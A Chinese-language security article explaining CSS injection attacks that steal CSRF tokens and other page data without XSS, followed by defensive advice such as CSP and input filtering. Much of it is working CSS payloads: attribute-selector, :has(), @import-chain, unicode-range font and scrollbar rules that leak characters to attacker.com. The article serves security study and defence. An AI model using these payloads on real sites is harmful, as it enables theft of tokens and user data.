CSS安全:不需要XSS也可以得到你的token!
字数 1033 2025-09-23 19:27:38
CSS注入攻击:窃取Token的高级技术解析
概述
CSS注入攻击是一种利用样式表实现数据窃取的攻击技术,它不需要XSS漏洞即可窃取敏感信息(如CSRF token)。由于多数防护系统(如DOMpurify)对样式表限制较少,此类攻击具有较高成功率。
核心攻击原理
1. 基础技术组合
- 属性选择器:使用
[value^=x](匹配开头)、[value$=x](匹配结尾)、[value*=x](匹配包含)筛选元素 - 外部资源加载:通过
background: url(http://attacker.com?data=x)发送数据到攻击者服务器
示例代码:
input[value^="a"] {
background: url(https://attacker.com?leak=a);
}
2. 隐藏字段窃取技术
针对type=hidden的input字段,采用以下方法:
方法一:相邻选择器
input[name="csrf-token"][value^="a"] + input {
background: url(https://attacker.com?leak=a);
}
方法二:has选择器(现代浏览器支持)
form:has(input[name="csrf-token"][value^="a"]) {
background: url(https://attacker.com?leak=a);
}
方法三:显示隐藏元素
head, meta {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://attacker.com?leak=a);
}
高效数据提取技术
1. @import链式加载
通过导入链式CSS文件实现自动化字符爆破:
@import url(https://attacker.com/start?len=8);
服务器端生成链式响应:
@import url(https://attacker.com/payload?len=1);
@import url(https://attacker.com/payload?len=2);
/* ...更多导入 */
2. 双向爆破优化
同时匹配开头和结尾字符,提升窃取效率:
/* 前缀匹配 */
input[value^="a"] { background: url(https://attacker.com?pre=a); }
/* 后缀匹配 */
input[value$="z"] { border-image: url(https://attacker.com?post=z); }
高级窃取技术
1. Unicode范围字体攻击
利用字体加载机制检测特定字符:
@font-face {
font-family: "f1";
src: url(https://attacker.com?q=1);
unicode-range: U+31;
}
div {
font-family: f1, "Arial";
}
2. 字体高度差异+滚动条检测
技术原理:
- 使用特殊字体(如Comic Sans MS)制造高度差异
- 通过滚动条触发外部资源加载
实现步骤:
@font-face {
font-family: "char-A";
src: local('Comic Sans MS');
unicode-range: U+41;
}
div {
font-size: 0px;
height: 40px;
width: 20px;
overflow-y: auto;
}
div::first-line {
font-size: 30px;
}
div::-webkit-scrollbar:vertical {
background: var(--leak);
}
完整攻击动画:
animation:
loop step-end 200s 0s, /* 宽度变化 */
trychar step-end 2s 0s; /* 字符测试 */
3. 连字字体攻击
利用连字特性检测字符组合:
<svg>
<defs>
<font horiz-adv-x="0">
<glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
</font>
</defs>
</svg>
<style>
script {
display: block;
font-family: "hack";
overflow-x: auto;
}
</style>
脚本内容窃取技术
通过显示script标签并应用字体攻击:
head, script {
display: block;
}
防御措施
- 输入验证:严格过滤用户输入的样式内容
- CSP策略:实施严格的内容安全策略,限制外部资源加载
- 随机化设计:使用随机变化的类名和ID
- 敏感信息保护:避免将敏感数据直接放在HTML属性中
- 框架保护:使用现代框架的内置防护机制
总结
CSS注入攻击展示了即使没有JavaScript执行能力,攻击者也能通过样式表实现数据窃取。这些技术利用了浏览器的多种特性,包括属性选择器、字体加载机制、滚动条行为和连字渲染等。防护需要多层次的安全策略,包括输入验证、输出编码和严格的内容安全策略。
参考资源
- Beyond XSS: CSS Injection Attacks
- Stealing Data in Great Style - Securitum Research
- CSS Injection Advanced Techniques
注意:本文仅用于安全研究目的,请勿用于非法活动。